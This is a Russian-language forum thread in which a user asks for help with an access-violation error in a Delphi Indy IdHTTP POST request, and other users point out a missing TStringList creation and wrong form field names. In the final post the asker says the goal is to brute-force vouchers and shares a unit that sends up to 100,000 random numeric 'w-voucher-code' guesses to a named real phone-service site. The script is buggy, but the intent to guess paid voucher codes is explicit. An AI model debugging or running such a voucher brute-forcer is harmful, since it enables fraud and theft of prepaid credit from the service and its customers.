Проблема рост запроса.

[jetei]

Помогите пожалуйста с кодом:

 begin
PostData.Add('name=jetei');
PostData.Add('pass=mypass');
try
html:=IdHTTP1.Post('http://www.evaphone.ru',PostData);
PostData.Free;
except
end;

После запуска приложения вылетает ошибка "Access violation at adress 0045ab27"
Что ето может быть?Может я не правильно настроил IdHTTP?

[mss]

PostData := TStringList.Create; // !!!!!!!!!!!!!!!!!!!!!!!!!!!
try
  PostData.Add('name=jetei');
  PostData.Add('pass=mypass');
  html:=IdHTTP1.Post('http://www.evaphone.ru',PostData);
finally
  PostData.Free;
end;

[jetei]

Сообщение от mss

PostData := TStringList.Create; // !!!!!!!!!!!!!!!!!!!!!!!!!!!

Спс, но ошибка та же

[Arsenx777]

Эта ошибка вряд ли из-за idhtt! - Нарушение доступа по адресу 0045ab27

Как вы пытаетесь сделать post запрос, если в html коде нету таких тегов с названием (name=pass и name=name) темболее которые отправляются методом пост ?

[jetei]

Ето пример. Сайт наполовину построен на JavaScript, и авторизацыя проходит через

 <div id='footer-member'></div>

. Етот код содержить тело сайта. Если посмотреть через "Проинспектировать елемент" (в опере), то мы увидим

<input type="text" size="20" autocomplete="off" id="ext-comp-1052" name="name" class=" x-form-text x-form-field wv-common-input-textfield x-form-focus" style="width: 202px"/>

А вот что выше:

<form class="x-panel-body x-panel-body-noheader x-panel-body-noborder x-form x-form-element" method="POST" id="ext-gen13" style="height: 211px; width: 228px">

[Arsenx777]

Если вы пытаетесь произвести вход в систему, то атрибут "name" у тега "<input" для логина и для пароли имеет другие значения!

[designer999]

вы негде во время исполнения программы не сделали IdHTTP1.free; ?)

[Пепел Феникса]

вы негде во время исполнения программы не сделали IdHTTP1.free; ?)

компоненты имеющие Owner(все кинутые в дизайне имеют его), явно удалять не нужно(исключения когда его надо удалить раньше чем Owner)

[designer999]

я не это имел введу, например если он использовал другую процедуру, и освободил память от IdHTTP, а во второй процедуре пытается сделать Пост запрос))

[jetei]

Вообще суть не в авторизацыи. Я хочу попробывать зделать брут вауЧеров.

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, IdBaseComponent, IdAntiFreezeBase,
  IdAntiFreeze, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP;

type
  TForm1 = class(TForm)
    IdAntiFreeze1: TIdAntiFreeze;
    Button2: TButton;
    IdHTTP1: TIdHTTP;
     procedure Button2Click(Sender: TObject);
      procedure FormCreate(Sender: TObject);
     private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  Login, Pass: TStrings;
l, p, k: Integer;
PostData:TStringList;
post:WideString;

implementation

{$R *.dfm}

function RandomPassword(PLen: Integer): string;
 var
   str: string;
 begin
   Randomize;
  str    := '1234567890';
   Result := '';
   repeat
     Result := Result + str[Random(Length(str)) + 1];
   until (Length(Result) = PLen)
 end;


procedure TForm1.Button2Click(Sender: TObject);
begin
Randomize;
k:=  12 + Random(15);
for p:=0 to 99999 do
begin
PostData.Add('w-voucher-code=RandomPassword(k)');
try
post:=IdHTTP1.Post('http://www.evaphone.ru',PostData);
PostData.clear;
except
end;

end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
PostData:=TStringList.Create;
end;
end.